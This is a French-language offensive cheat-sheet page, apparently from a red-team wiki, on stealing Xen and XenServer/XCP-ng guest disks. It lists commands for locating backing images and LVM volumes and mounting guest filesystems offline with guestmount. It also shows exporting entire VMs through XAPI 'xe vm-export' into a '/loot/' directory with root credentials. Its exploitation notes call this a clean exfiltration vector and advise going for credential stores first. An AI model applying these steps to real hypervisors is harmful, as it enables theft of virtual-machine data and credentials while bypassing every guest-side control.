Le disque d'un invité Xen est un périphérique bloc virtuel que le backend mappe depuis un espace de stockage sous-jacent : sur Xen upstream c'est un fichier (raw ou VHD) ou un périphérique bloc (un volume LVM) ; sur XenServer/XCP-ng c'est une Virtual Disk Image (VDI) dans un Storage Repository (SR), qui peut être local ou partagé. L'accès à l'espace de stockage, via dom0, le stockage ou XAPI, permet à un attaquant de lire le système de fichiers de l'invité hors ligne ou d'exporter le VDI, emportant les données sans aucune authentification et sans aucune défense interne à l'invité, et les snapshots fournissent des copies à un instant donné.
Localiser et lire#
# upstream Xen: the backing file/device from the domain config
grep -E 'disk|phy|file|vdev' /etc/xen/<guest>.cfg
xenstore-ls /local/domain/<domid>/device/vbd 2>/dev/null
guestmount -a /path/to/guest.img -i --ro /mnt/guest # raw/VHD file
# LVM-backed: activate and mount the volume
lvs; lvchange -ay <vg>/<guest-lv>; guestmount -a /dev/<vg>/<guest-lv> -i --ro /mnt
# XenServer/XCP-ng: export the VDI via XAPI (no dom0 file access needed)
xe -s <host> -u root -pw <pw> vm-export vm=<name> filename=/loot/<name>.xva
# or snapshot then export
xe -s <host> -u root -pw <pw> vm-snapshot vm=<name> new-name-label=s
Notes d'exploitation#
- La méthode de lecture dépend du type de stockage sous-jacent :
guestmount/qemu-nbdpour les images fichier,lvchange -aypuis montage pour LVM, etvm-exportXAPI/export de VDI pour les SR XenServer/XCP-ng. vm-exportproduit une archive XVA portable de toute la VM, un vecteur d'exfiltration propre qui ne nécessite qu'un accès XAPI, pas un accès fichier à dom0.- Le montage hors ligne contourne tous les contrôles de l'invité ; priorisez les magasins d'identifiants comme pour tout vol de disque.
- Les snapshots capturent un état à un instant donné ; enchaînez depuis Accès à l'hôte et shell ou le Plan de gestion pour obtenir l'accès requis.